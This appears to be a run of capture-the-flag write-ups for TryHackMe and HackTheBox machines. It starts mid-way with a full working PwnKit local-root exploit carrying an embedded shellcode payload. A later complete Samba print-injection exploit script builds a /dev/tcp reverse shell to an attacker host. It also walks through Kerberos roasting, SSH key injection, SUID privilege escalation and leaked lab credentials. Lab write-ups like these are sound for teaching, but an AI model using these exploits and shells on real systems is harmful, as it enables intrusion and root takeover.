#!/usr/bin/env python3

# CVE-2021-4034 in Python

import base64
import os
import sys

from ctypes import *
from ctypes.util import find_library

# Payload: base64-encoded ELF shared object generated with:
# msfvenom -p linux/x64/exec -f elf-so PrependSetuid=true | base64
# PrependSetuid=true is critical — without it you get a shell as the current user, not root.

payload_b64 = b'''
f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAAC
AEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAArwEAAAAAAADMAQAAAAAAAAAQ
AAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAA
AAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAA
AAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAA
AACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAASDH/amlYDwVIuC9iaW4vc2gAmVBUX1JeajtYDwU=
'''
payload = base64.b64decode(payload_b64)

# Environment passed to execve() — sets up GCONV_PATH trick
environ = [
        b'exploit',
        b'PATH=GCONV_PATH=.',
        b'LC_MESSAGES=en_US.UTF-8',
        b'XAUTHORITY=../LOL',
        None
]

# Load libc to call execve() directly
# Python's os.execve() requires arguments, so we bypass it via ctypes
try:
    libc = CDLL(find_library('c'))
except:
    print('[!] Unable to find the C library, wtf?')
    sys.exit()

# Write the shared library payload to disk
print('[+] Creating shared library for exploit code.')
try:
    with open('payload.so', 'wb') as f:
        f.write(payload)
except:
    print('[!] Failed creating payload.so.')
    sys.exit()
os.chmod('payload.so', 0o0755)

# Create GCONV_PATH=. directory (part of the env variable trick)
try:
    os.mkdir('GCONV_PATH=.')
except FileExistsError:
    print('[-] GCONV_PATH=. directory already exists, continuing.')
except:
    print('[!] Failed making GCONV_PATH=. directory.')
    sys.exit()

# Drop empty exploit binary into GCONV_PATH=.
try:
    with open('GCONV_PATH=./exploit', 'wb') as f:
        f.write(b'')
except:
    print('[!] Failed creating exploit file')
    sys.exit()
os.chmod('GCONV_PATH=./exploit', 0o0755)

# Create gconv-modules config pointing to our payload
try:
    os.mkdir('exploit')
except FileExistsError:
    print('[-] exploit directory already exists, continuing.')
except:
    print('[!] Failed making exploit directory.')
    sys.exit()

try:
    with open('exploit/gconv-modules', 'wb') as f:
        f.write(b'module  UTF-8//    INTERNAL    ../payload    2\n')
except:
    print('[!] Failed to create gconf-modules config file.')
    sys.exit()

# Convert environment to char* array
environ_p = (c_char_p * len(environ))()
environ_p[:] = environ

print('[+] Calling execve()')
# Call execve() with NULL argv — this is the core of the vulnerability
libc.execve(b'/usr/bin/pkexec', c_char_p(None), environ_p)

Save as CVE-2021-4034.py, host it, and pull it onto the target.

Option B — C-based exploit:

# On attack box
git clone https://github.com/berdav/CVE-2021-4034
cd CVE-2021-4034
make
python3 -m http.server 80

Transfer and execute on the target:

www-data@vulnnet:/$ cd /tmp
www-data@vulnnet:/tmp$ wget http://YOUR-IP/CVE-2021-4034.py

--2026-06-13 06:02:56--  http://YOUR-IP/CVE-2021-4034.py
Connecting to YOUR-IP:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3262 (3.2K) [text/x-python]
Saving to: 'CVE-2021-4034.py'

CVE-2021-4034.py    100%[================>]   3.19K  --.-KB/s    in 0.02s

www-data@vulnnet:/tmp$ python3 CVE-2021-4034.py

[+] Creating shared library for exploit code.
[+] Calling execve()
# whoami
root

Root shell obtained.

# cat /home/server-management/user.txt
THM{REDACTED}

# cat /root/root.txt
THM{REDACTED}

Summary

Step	Technique	Result
JS source analysis	Hardcoded `referer=` path in bundle	LFI entry point discovered
LFI	`/index.php?referer=..//etc/apache2/...`	`.htpasswd` hash and vhost config leaked
Hash cracking	`john` with rockyou	`developers` credentials
vhost enum	`ffuf` with Host header fuzzing	`broadcast.vulnnet.thm` discovered
File upload	ClipBucket EDB-44250 `beats_uploader.php`	PHP shell uploaded as `www-data`
PrivEsc	CVE-2021-4034 PwnKit on unpatched pkexec	Root shell

Tools Used

Tool	Purpose
nmap	Port and service enumeration
ffuf	Directory and vhost brute force
curl	LFI exploitation and file upload
john	Hash cracking (Apache MD5)
searchsploit	ClipBucket vulnerability research
CVE-2021-4034 PoC	PwnKit privilege escalation
nc	Reverse shell listener

Key Vulnerabilities

#	Vulnerability	Impact
1	LFI via `referer` parameter in `index.php`	Arbitrary file read — leaked Apache config and `.htpasswd`
2	`.htpasswd` exposed via LFI	Crackable Apache MD5 hash → `developers` credentials
3	ClipBucket < 4.0.0-4902 arbitrary file upload (EDB-44250)	PHP shell upload → RCE as `www-data`
4	CVE-2021-4034 (PwnKit) — unpatched `policykit-1 0.105-20`	Local privilege escalation to root

Attack Chain

JS bundle → hardcoded ?referer= path → LFI confirmed
→ LFI: /etc/apache2/sites-enabled/000-default.conf → broadcast.vulnnet.thm + .htpasswd path
→ LFI: /etc/apache2/.htpasswd → developers hash
→ john → developers password cracked
→ vhost fuzz → broadcast.vulnnet.thm (401 Basic Auth, real vhost)
→ ClipBucket EDB-44250 beats_uploader.php → PHP shell upload (path returned in response)
→ curl CB_BEATS_UPLOAD_DIR/shell.php → www-data shell
→ CVE-2021-4034 PwnKit → root

TryHackMe - Fusion Corp Writeup

Yogeshwar Peela — Fri, 12 Jun 2026 10:01:09 +0000

Platform: TryHackMe

Difficulty: Easy

Reconnaissance

Nmap

nmap -sC -sV -A MACHINE-IP -oA nmap

The scan immediately tells us this is a Domain Controller — port 88 (Kerberos), 389/3268 (LDAP), and 5985 (WinRM) are all open, with the domain name fusion.corp leaking out of the LDAP banner. Port 80 is also open, which is less common on a DC and worth investigating separately.

Port	Service
53	DNS (Simple DNS Plus)
80	HTTP (Microsoft IIS 10.0)
88	Kerberos
389 / 3268	LDAP — Domain: `fusion.corp`
445	SMB (signing required)
3389	RDP
5985	WinRM

DC hostname: Fusion-DC.fusion.corp

SMB Null Session

With SMB open and signing required, the first thing to check is whether null authentication is permitted — it occasionally gives us share access or user enumeration for free.

nxc smb MACHINE-IP -u '' -p ''

Null auth is accepted, but share enumeration comes back STATUS_ACCESS_DENIED. Dead end for now, but confirming the domain name (fusion.corp) is useful for later Kerberos attacks.

Web Enumeration (Port 80)

Browsing to port 80 shows a standard IIS-hosted "eBusiness" Bootstrap template. The Team page is immediately interesting - it lists employee full names with job titles, which in an AD environment often maps directly to domain usernames.

Directory Brute Force

Before digging into the HTML, it's worth checking whether IIS is exposing anything else on the filesystem.

ffuf -u http://MACHINE-IP/FUZZ -w /usr/share/wordlists/dirb/big.txt -ac

/backup/ returns a 301 and, crucially, has directory listing enabled. This is a misconfiguration — IIS should never serve directory listings in production, especially not from a path named backup.

employees.ods

Inside /backup/ is a single file: employees.ods. Opening it reveals a spreadsheet with employee names and their corresponding domain usernames. The naming convention is consistent - first initial followed by surname.

Name	Username
Jhon Mickel	jmickel
Andrew Arnold	aarnold
Lellien Linda	llinda
Jhon Powel	jpowel
Dominique Vroslav	dvroslav
Thomas Jeffersonn	tjefferson
Nola Maurin	nmaurin
Mira Ladovic	mladovic
Larry Parker	lparker
Kay Garland	kgarland
Diana Pertersen	dpertersen

This gives us a wordlist of 11 domain usernames. The next step is to validate which of these actually exist in AD and whether any have weak Kerberos configurations.

Initial Access — ASREPRoasting (lparker)

Kerberos User Enumeration

With a list of candidate usernames and port 88 open, we can probe the KDC directly without credentials using kerbrute. Unlike LDAP enumeration, this doesn't require a valid session - it simply checks whether the KDC responds differently to valid vs invalid usernames.

kerbrute userenum -d fusion.corp --dc MACHINE-IP usernames.txt

Only one account comes back as valid: lparker@fusion.corp. More importantly, kerbrute also flags that this account has Kerberos pre-authentication disabled — the condition required for ASREPRoasting.

ASREPRoast

When pre-authentication is disabled, the KDC will hand out an encrypted TGT to anyone who asks, without requiring proof of identity first. We can request it unauthenticated and attempt to crack it offline.

impacket-GetNPUsers fusion.corp/lparker -dc-ip MACHINE-IP -no-pass

The KDC returns a $krb5asrep$23$ hash encrypted with lparker's password. Save it to hash.txt.

Hash Cracking

The etype 23 (RC4) hash is crackable with a standard wordlist attack. RC4 is weak compared to AES-based Kerberos hashes, and many users still have it enabled for legacy compatibility reasons.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Password cracked: [REDACTED]

WinRM — lparker

With valid credentials and WinRM open on port 5985, we get a shell directly.

evil-winrm -i MACHINE-IP -u lparker -p '[REDACTED]'

*Evil-WinRM* PS C:\Users\lparker\Desktop> type flag.txt
THM{REDACTED}

Lateral Movement — jmurphy (Cleartext Password in AD Comment)

As lparker, the first thing to do is understand the AD landscape — who else is on this machine, and what groups are they in. net user shows only a handful of accounts: Administrator, Guest, krbtgt, lparker, and jmurphy.

Checking jmurphy's full domain profile reveals something alarming:

net user jmurphy /domain

The Comment field — a free-text attribute in AD that admins sometimes use for notes - contains the account's plaintext password. This is a well-known AD misconfiguration and a common finding in real engagements. The account also belongs to Backup Operators and Remote Management Users, making it far more valuable than lparker.

evil-winrm -i MACHINE-IP -u jmurphy -p '[REDACTED]'

*Evil-WinRM* PS C:\Users\jmurphy\Desktop> type flag.txt
THM{REDACTED}

Privilege Escalation — SeBackupPrivilege → Administrator Flag

Before reaching for a typical privesc exploit, it's worth checking what privileges and group memberships this session actually has.

whoami /priv
whoami /groups

jmurphy holds SeBackupPrivilege and SeRestorePrivilege by virtue of being in Backup Operators. These two privileges are often overlooked but are extremely powerful - SeBackupPrivilege instructs the kernel to bypass DACL checks when opening files with the FILE_FLAG_BACKUP_SEMANTICS flag. In practical terms, it means we can read any file on the filesystem regardless of ACLs, including files owned by Administrator.

The cleanest way to exploit this via WinRM (where interactive tools like diskshadow fail due to the non-interactive shell) is robocopy with the /B flag, which invokes backup semantics internally.

mkdir C:\tmp
robocopy "C:\Users\Administrator\Desktop" "C:\tmp" "flag.txt" /B /COPY:DAT
type C:\tmp\flag.txt

THM{REDACTED}

Note: diskshadow was attempted for a VSS-based NTDS dump but exited immediately — it requires an interactive console, which WinRM doesn't provide. For the purposes of this room, direct file theft via robocopy /B is sufficient. In a real engagement, SeBackupPrivilege would also allow dumping SAM/SYSTEM hives using reg save and extracting local credentials offline.

Summary

Step	Technique	Result
IIS dir listing	Open `/backup/` on IIS	Leaked `employees.ods` with usernames
ASREPRoasting	`GetNPUsers` + `john`	`lparker` credentials
WinRM	`evil-winrm`	Shell as `lparker`, Flag 1
AD enumeration	`net user /domain`	Plaintext password in `jmurphy` Comment
WinRM	`evil-winrm`	Shell as `jmurphy`, Flag 2
SeBackupPrivilege	`robocopy /B`	Admin flag read

Tools Used

Tool	Purpose
nmap	Port and service enumeration
ffuf	Web directory brute force
enum4linux-ng	SMB/LDAP enumeration
NetExec (nxc)	SMB null session check
kerbrute	Kerberos username enumeration
impacket-GetNPUsers	ASREPRoast TGT request
john	Hash cracking
evil-winrm	WinRM shell
robocopy	SeBackupPrivilege file theft

Key Vulnerabilities

#	Vulnerability	Impact
1	IIS directory listing exposes `employees.ods`	Username enumeration
2	ASREPRoasting on `lparker` (no pre-auth required)	Credential theft
3	Plaintext password in AD user `Comment` field (`jmurphy`)	Lateral movement
4	`jmurphy` member of Backup Operators with `SeBackupPrivilege`	Admin file read via `robocopy /B`

Attack Chain

IIS /backup/ → employees.ods → username list
→ kerbrute userenum → lparker valid
→ GetNPUsers ASREPRoast → crack TGT hash (john)
→ evil-winrm as lparker → flag 1
→ net user jmurphy /domain → plaintext password in Comment
→ evil-winrm as jmurphy (Backup Operators) → flag 2
→ SeBackupPrivilege + robocopy /B → Admin flag

HackTheBox - Abducted Writeup

Yogeshwar Peela — Thu, 11 Jun 2026 15:36:03 +0000

Difficulty: Medium
OS: Linux

Reconnaissance

Nmap

nmap -sC -sV -A <MACHINE-IP> -oA abducted

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4

Three open ports — SSH and Samba (SMB). No web server. The NetBIOS name is ABDUCTED and the server string is Hartley Group Document Services.

/etc/hosts

echo "<MACHINE-IP> abducted.htb" >> /etc/hosts

SMB Enumeration

Listing shares anonymously:

smbclient -L //<MACHINE-IP> -N

Sharename       Type      Comment
---------       ----      -------
HP-Reception    Printer   Reception printer
projects        Disk      Hartley Group Project Files
transfer        Disk      Staff file transfer
IPC$            IPC       IPC Service (Hartley Group Document Services)

Three shares exposed. Attempting anonymous access:

smbclient //<MACHINE-IP>/projects -N
# NT_STATUS_ACCESS_DENIED

smbclient //<MACHINE-IP>/transfer -N
# NT_STATUS_ACCESS_DENIED

Both disk shares require authentication. HP-Reception is a printer share.

RPC Enumeration

rpcclient -U "" -N <MACHINE-IP>

rpcclient $> enumdomusers
user:[scott] rid:[0x3e8]

rpcclient $> querydispinfo
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: scott    Name: Scott Mercer

rpcclient $> netshareenum
netname: HP-Reception
        path: C:\var\spool\samba
netname: projects
        path: C:\srv\projects
netname: transfer
        path: C:\srv\transfer

rpcclient $> enumprinters
        name:[\\<MACHINE-IP>\]
        description:[\\<MACHINE-IP>\,,Reception printer]
        comment:[Reception printer]

One user identified: scott. The printer share path maps to /var/spool/samba on the host.

SMB Protocol Versions

nmap --script smb-os-discovery,smb-protocols,smb2-security-mode -p445 <MACHINE-IP>

| smb-protocols:
|   dialects:
|     2.0.2
|     2.1
|     3.0
|     3.0.2
|_    3.1.1

Samba is running with the printer share publicly accessible as guest. Noting the HP-Reception printer combined with recent Samba CVEs, this is the attack surface.

Initial Foothold — CVE-2026-4480 (Samba %J Print Injection)

A critical vulnerability in Samba's printing subsystem was disclosed in 2026. Samba passes the client-controlled print job description string to the configured print command via the %J substitution character without escaping shell metacharacters. An unauthenticated attacker can submit a crafted print job whose description contains shell commands, resulting in remote code execution.

Reference: https://www.samba.org/samba/security/CVE-2026-4480.html

The exploit works by connecting to the spoolss named pipe, opening the printer handle, then submitting a StartDocPrinter call with a job name of |sh. The actual shell payload is sent as the print data — Samba's %J substitution injects the job name into the print command, causing the shell to execute it.

Exploit Script (cve-2026-4480.py)

#!/usr/bin/env python3
"""
CVE-2026-4480 — Samba Print Job Description Shell Injection
Unauthenticated RCE via Print Spooler (%J substitution)

Dependencies: apt install python3-samba
"""

import argparse
import sys

BANNER = r"""
╔═══════════════════════════════════════════════════════════╗
║   ██████╗ ██████╗ ██╗███╗   ██╗████████╗                 ║
║   ██╔══██╗██╔══██╗██║████╗  ██║╚══██╔══╝                 ║
║   ██████╔╝██████╔╝██║██╔██╗ ██║   ██║                    ║
║   ██╔═══╝ ██╔══██╗██║██║╚██╗██║   ██║                    ║
║   ██║     ██║  ██║██║██║ ╚████║   ██║                    ║
║   ╚═╝     ╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝   ╚═╝                    ║
║         CVE-2026-4480  Samba %J Print Injection           ║
║         Unauthenticated RCE via Print Spooler             ║
╚═══════════════════════════════════════════════════════════╝
"""


def parse_args():
    parser = argparse.ArgumentParser(
        description='CVE-2026-4480 — Samba print job %J shell injection'
    )
    parser.add_argument('-r', '--rhost',   required=True,        help='Target IP or hostname')
    parser.add_argument('-l', '--lhost',   default=None,         help='Attacker IP (for reverse shell)')
    parser.add_argument('-p', '--lport',   default=None,         type=int, help='Attacker port (for reverse shell)')
    parser.add_argument('-c', '--command', default=None,         help='Custom command instead of reverse shell')
    parser.add_argument('--printer',       default='HP-Reception', help='Printer share name (default: HP-Reception)')
    parser.add_argument('--username',      default='',           help='SMB username (default: anonymous)')
    parser.add_argument('--password',      default='',           help='SMB password (default: empty)')
    return parser.parse_args()


def build_payload(args):
    if args.command:
        print(f'[*] Mode     : custom command')
        print(f'[*] Command  : {args.command}')
        return (args.command + '\n').encode()
    elif args.lhost and args.lport:
        cmd = f"setsid bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1' >/dev/null 2>&1 &"
        print(f'[*] Mode     : reverse shell')
        print(f'[*] LHOST    : {args.lhost}')
        print(f'[*] LPORT    : {args.lport}')
        return (cmd + '\n').encode()
    else:
        print('[!] Provide either -c <command> or both -l <lhost> and -p <lport>')
        sys.exit(1)


def exploit(args, payload):
    try:
        from samba.dcerpc import spoolss
        from samba.param import LoadParm
        from samba.credentials import Credentials
    except ImportError:
        print('[!] Missing dependency: python3-samba')
        print('    apt install python3-samba')
        sys.exit(1)

    lp = LoadParm()
    lp.load_default()
    creds = Credentials()
    creds.guess(lp)
    if args.username:
        creds.set_username(args.username)
        creds.set_password(args.password)
    else:
        creds.set_anonymous()

    printer_path = f'\\\\{args.rhost}\\{args.printer}'

    print(f'\n[*] Connecting to spoolss pipe on {args.rhost} ...')
    iface = spoolss.spoolss(f'ncacn_np:{args.rhost}[\\pipe\\spoolss]', lp, creds)

    print(f'[*] Opening printer handle: {printer_path}')
    h = iface.OpenPrinter(printer_path, '', spoolss.DevmodeContainer(), 0x00000008)

    print(f"[*] Submitting print job with job name '|sh' (%J injection) ...")
    i1 = spoolss.DocumentInfo1()
    i1.document_name = '|sh'
    i1.output_file = None
    i1.datatype = 'RAW'

    ctr = spoolss.DocumentInfoCtr()
    ctr.level = 1
    ctr.info = i1

    iface.StartDocPrinter(h, ctr)
    iface.StartPagePrinter(h)
    iface.WritePrinter(h, payload, len(payload))
    iface.EndPagePrinter(h)
    iface.EndDocPrinter(h)
    iface.ClosePrinter(h)

    print('[+] Job submitted successfully — check your listener!')


def main():
    print(BANNER)
    args = parse_args()
    print(f'[*] Target   : {args.rhost}')
    print(f'[*] Printer  : {args.printer}')
    print(f'[*] Auth     : {args.username if args.username else "anonymous (guest)"}')
    payload = build_payload(args)
    exploit(args, payload)


if __name__ == '__main__':
    main()

Setting up a listener:

nc -lvnp 4444

Running the exploit:

python3 cve-2026-4480.py -r <MACHINE-IP> -l <ATTACKER-IP> -p 4444

[*] Target   : <MACHINE-IP>
[*] LHOST    : <ATTACKER-IP>
[*] LPORT    : 4444
[*] Printer  : HP-Reception
[*] Payload  : bash reverse shell

[*] Connecting to spoolss pipe...
[*] Opening printer handle...
[*] Starting document with |sh job name...
[+] Job submitted — check your listener!

A reverse shell connects as nobody — the Samba guest account.

(remote) nobody@abducted:/$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

Post-Exploitation as nobody — rclone Credentials

Searching for configuration files outside standard system paths:

find / -type f -name "*.conf" 2>/dev/null | grep -Ev "^/usr/|^/etc/"

/opt/offsite-backup/rclone.conf

Reading it:

cat /opt/offsite-backup/rclone.conf

[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unix

rclone stores passwords in an obfuscated (not encrypted) format. The rclone reveal command decodes it:

rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw

iXzvcib3SrpZ

Plaintext password recovered: iXzvcib3SrpZ

Lateral Movement — SSH as scott (Password Reuse)

With a password in hand and only two system users (scott and marcus), testing password reuse against SSH:

ssh scott@abducted.htb
# Password: iXzvcib3SrpZ

scott@abducted:~$ id
uid=1000(scott) gid=1001(scott) groups=1001(scott)

Password reuse succeeded — svc-backup's rclone password was reused for scott's SSH account.

User Flag

scott@abducted:~$ cat user.txt

HTB{REDACTED}

Enumeration as scott

Checking sudo:

sudo -l
# Sorry, user scott may not run sudo on abducted.

No sudo. Reviewing the Samba configuration files now that a proper shell is available:

cat /etc/samba/smb.conf

[global]
   workgroup = WORKGROUP
   server string = Hartley Group Document Services
   netbios name = ABDUCTED
   map to guest = Bad User
   guest account = nobody
   security = user
   printing = sysv
   load printers = no
   disable spoolss = no
   unix extensions = no
   allow insecure wide links = yes
   include = /etc/samba/shares.conf

cat /etc/samba/shares.conf

[HP-Reception]
   comment = Reception printer
   path = /var/spool/samba
   printable = yes
   guest ok = yes
   print command = /usr/local/bin/printaudit %J %s
   lpq command = /bin/true
   lprm command = /bin/true

[projects]
   comment = Hartley Group Project Files
   path = /srv/projects
   valid users = scott
   read only = no
   browseable = yes

[transfer]
   comment = Staff file transfer
   path = /srv/transfer
   valid users = scott
   force user = marcus
   read only = no
   wide links = yes
   browseable = yes

Two key observations:

The print command confirms how CVE-2026-4480 worked — %J (job name) passes unsanitised into the shell command.
The transfer share has force user = marcus and wide links = yes. Any file written through it is created as marcus. With wide links = yes, symlinks are followed across share boundaries.

Lateral Movement — SSH Key Injection via SMB Symlink

The transfer share forces file operations to run as marcus. Using a symlink from /srv/transfer into marcus's home directory allows writing files as that user through the share.

Creating the symlink as scott (who can write to /srv/transfer):

ln -s /home/marcus /srv/transfer/marcus

Connecting to the transfer share as scott and navigating to marcus's home via the symlink:

smbclient //<MACHINE-IP>/transfer -U 'scott%iXzvcib3SrpZ'

smb: \> ls
  marcus    D    0  Thu Jun 11 07:29:45 2026

smb: \> cd marcus
smb: \marcus\> ls
  .profile
  .bash_logout
  .bash_history
  .bashrc
  .cache

Creating .ssh directory and uploading the attacker's public key:

smb: \marcus\> mkdir .ssh
smb: \marcus\> cd .ssh
smb: \marcus\.ssh\> put /home/kali/.ssh/id_rsa.pub authorized_keys

putting file /home/kali/.ssh/id_rsa.pub as \marcus\.ssh\authorized_keys

SSH requires strict permissions on authorized_keys — the file must not be world-readable. Using smbclient's setmode to strip the read bit:

smb: \marcus\.ssh\> setmode authorized_keys a-r

Navigating back and fixing the .ssh directory permissions too:

smb: \marcus\.ssh\> cd ..
smb: \marcus\> setmode .ssh a-r+d

Connecting via SSH:

ssh -i /home/kali/.ssh/id_rsa marcus@abducted.htb

marcus@abducted:~$ id
uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)

marcus is a member of the operators group.

Privilege Escalation to Root — systemd Drop-in (operators group)

Finding what the operators group has write access to:

find / -group operators 2>/dev/null

/etc/systemd/system/smbd.service.d

The operators group owns the smbd.service.d drop-in directory for the Samba service. systemd service drop-ins allow adding or overriding directives in a service unit without modifying the original file. Writing a drop-in with an ExecStartPre directive causes it to run as root when the service restarts.

Creating the malicious drop-in:

cat > /etc/systemd/system/smbd.service.d/privesc.conf << 'EOF'
[Service]
ExecStartPre=/bin/bash -c 'chmod +s /bin/bash'
EOF

Reloading the systemd daemon and restarting smbd:

systemctl daemon-reload
systemctl restart smbd

The ExecStartPre command runs as root, setting the SUID bit on /bin/bash. Spawning a root shell:

bash -p

bash-5.2# whoami
root

Root Flag

bash-5.2# cat /root/root.txt

HTB{REDACTED}

Credentials Summary

User	Credential	Source
nobody (SMB)	—	CVE-2026-4480 unauthenticated RCE
scott (SSH)	iXzvcib3SrpZ	rclone.conf obfuscated password
marcus (SSH)	id_rsa	SMB symlink + wide links key injection
root	—	systemd drop-in ExecStartPre SUID bash

Key Vulnerabilities

#	Vulnerability	Impact
1	CVE-2026-4480 — Samba `%J` print job name shell injection	Unauthenticated RCE as nobody
2	rclone obfuscated password in world-readable config	Plaintext credential recovery
3	Password reuse across svc-backup and scott accounts	SSH access as scott
4	SMB `transfer` share: `force user = marcus` + `wide links = yes`	Write to marcus's home as marcus
5	`operators` group write access to `smbd.service.d` drop-in directory	Root via systemd ExecStartPre

Attack Chain

Nmap → SMB + Printer Share (HP-Reception)
  → CVE-2026-4480 %J Print Injection → RCE as nobody
    → /opt/offsite-backup/rclone.conf → obfuscated password
      → rclone reveal → iXzvcib3SrpZ
        → SSH password reuse → scott
          → SMB shares.conf: transfer share (force user=marcus, wide links=yes)
            → ln -s /home/marcus /srv/transfer/marcus
              → smbclient → write authorized_keys as marcus
                → SSH as marcus (operators group)
                  → find / -group operators → /etc/systemd/system/smbd.service.d
                    → systemd drop-in ExecStartPre → chmod +s /bin/bash
                      → bash -p → root

HackTheBox - Facts Writeup

Yogeshwar Peela — Thu, 11 Jun 2026 06:35:56 +0000

Difficulty: Easy
OS: Linux

Reconnaissance

Nmap

nmap -sCV -A -p- <MACHINE-IP>

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2
80/tcp open  http    nginx 1.26.3 (Ubuntu)

Two open ports — SSH and nginx on port 80.

/etc/hosts

echo "<MACHINE-IP> facts.htb" >> /etc/hosts

Web Enumeration

Visiting port 80 presents a Camaleon CMS trivia site. The /admin path redirects to /admin/login, which has self-registration enabled.

feroxbuster -u http://facts.htb/ -w /usr/share/wordlists/dirb/big.txt -d 3 -C 403,404

302  http://facts.htb/admin  =>  http://facts.htb/admin/login
200  http://facts.htb/ajax

Navigating to /admin/login and clicking "Create an account" creates a working low-privilege CMS account. After logging in, the footer reveals Camaleon CMS Version 2.9.0.

Initial Access — LFI via CVE-2024-46987

Camaleon CMS < 2.9.1 is vulnerable to a path traversal in the download_private_file media endpoint. Any authenticated user, regardless of role, can read arbitrary files from the server filesystem.

GET http://facts.htb/admin/media/download_private_file?file=../../../etc/passwd

This returns the contents of /etc/passwd, confirming arbitrary file read. Relevant system users:

root:x:0:0:root:/root:/bin/bash
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash

Foothold — CMS Admin via CVE-2025-2304 (Mass Assignment)

Camaleon CMS < 2.9.1 is also vulnerable to mass assignment in the updated_ajax password-change endpoint. The controller uses Rails' dangerous permit! method which allows all parameters through without any filtering — including role.

Injecting password[role]=admin into the password change POST request escalates a low-privilege account to full CMS admin.

Exploit script (exploit.py):

update_data = {
    "_method": "patch",
    "authenticity_token": auth_token,
    "password[password]": password,
    "password[password_confirmation]": password,
    "password[role]": "admin",
}
session.post(submit_url, data=update_data)

Running the exploit:

python3 exploit.py -t http://facts.htb -u test -p test

[+] Login successful
[+] Got profile page
[i] Version 2.9.0 — appears vulnerable (< 2.9.1)
[+] Got CSRF token: E9u8O-QxqReFdXp6FbaD...
[*] Sending privilege escalation request to http://facts.htb/admin/users/5/updated_ajax ...
[+] Done! Role should now be 'admin' — try refreshing your session.

After refreshing the session, the full admin navigation is available including Settings, Users, Plugins, and Appearance.

AWS S3 Credential Leak

Navigating to Settings → General Site → Filesystem Settings exposes AWS S3 credentials stored in plaintext in the CMS configuration:

AWS Access Key ID:      AKIA604F64A80C48D2DF
AWS Secret Access Key:  /Vb8uEE1VHYg7rcu84gpSnmF9Tb8XoIT020xkWDo
Bucket Name:            randomfacts
Region:                 us-east-1
Endpoint:               http://localhost:54321

The endpoint points to a LocalStack instance running locally on the target. Since port 54321 is bound to localhost on the box, it is accessed via facts.htb:54321 after adding the host entry. Configuring the AWS CLI with the leaked credentials:

aws configure
# AWS Access Key ID: AKIA604F64A80C48D2DF
# AWS Secret Access Key: /Vb8uEE1VHYg7rcu84gpSnmF9Tb8XoIT020xkWDo
# Default region name: us-east-1
# Default output format: json

Listing all buckets:

aws --endpoint-url http://facts.htb:54321 s3 ls

2025-09-11  internal
2025-09-11  randomfacts

A non-public internal bucket exists alongside the expected randomfacts bucket. Listing it recursively:

aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal --recursive

2026-06-10  .ssh/authorized_keys
2026-06-10  .ssh/id_ed25519

An SSH private key is present. Downloading it:

aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 .
chmod 600 id_ed25519

SSH — Cracking the Key Passphrase

Attempting to use the key immediately prompts for a passphrase, confirming it is encrypted:

ssh-keygen -y -f id_ed25519
# Enter passphrase for "id_ed25519":

Converting to john format and cracking against rockyou:

ssh2john id_ed25519 > hash.john
john hash.john --wordlist=/usr/share/wordlists/rockyou.txt

dragonballz      (id_ed25519)
1g 0:00:02:42 DONE

Passphrase cracked: dragonballz

Connecting as trivia (identified earlier via the LFI on /etc/passwd):

ssh -i id_ed25519 trivia@<MACHINE-IP>
# Enter passphrase for key 'id_ed25519': dragonballz

trivia@facts:~$ id
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)

User Flag

trivia@facts:~$ cat /home/william/user.txt

HTB{REDACTED}

Privilege Escalation to Root — Facter Custom Module

Checking sudo permissions for the current user:

sudo -l

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

facter is a Puppet system facts tool that supports loading custom Ruby fact modules via the --custom-dir flag. Running it under sudo with a controlled directory allows arbitrary Ruby execution as root.

Creating a malicious fact module that sets the SUID bit on /usr/bin/bash:

echo 'Facter.add("evil") {setcode { `chmod +s /usr/bin/bash` } }' > evil.rb

Running facter with the custom module:

sudo /usr/bin/facter --custom-dir ~ evil

Verifying the SUID bit was set:

ls -la /usr/bin/bash
# -rwsr-sr-x 1 root root ... /usr/bin/bash

Spawning a root shell with bash's -p flag (preserve effective UID):

bash -p

bash-5.2# whoami
root

Root Flag

bash-5.2# cat /root/root.txt

HTB{REDACTED}

Credentials Summary

User	Credential	Source
trivia (CMS)	test / test	Self-registration
trivia (SSH)	id_ed25519 / dragonballz	Internal S3 bucket + john
root	—	facter sudo SUID trick

Key Vulnerabilities

#	Vulnerability	Impact
1	CVE-2024-46987 — Camaleon CMS path traversal in `download_private_file`	Arbitrary file read as web user
2	CVE-2025-2304 — Camaleon CMS mass assignment via `permit!` in `updated_ajax`	Role escalation to CMS admin
3	AWS S3 credentials exposed in CMS filesystem settings	Access to internal LocalStack bucket
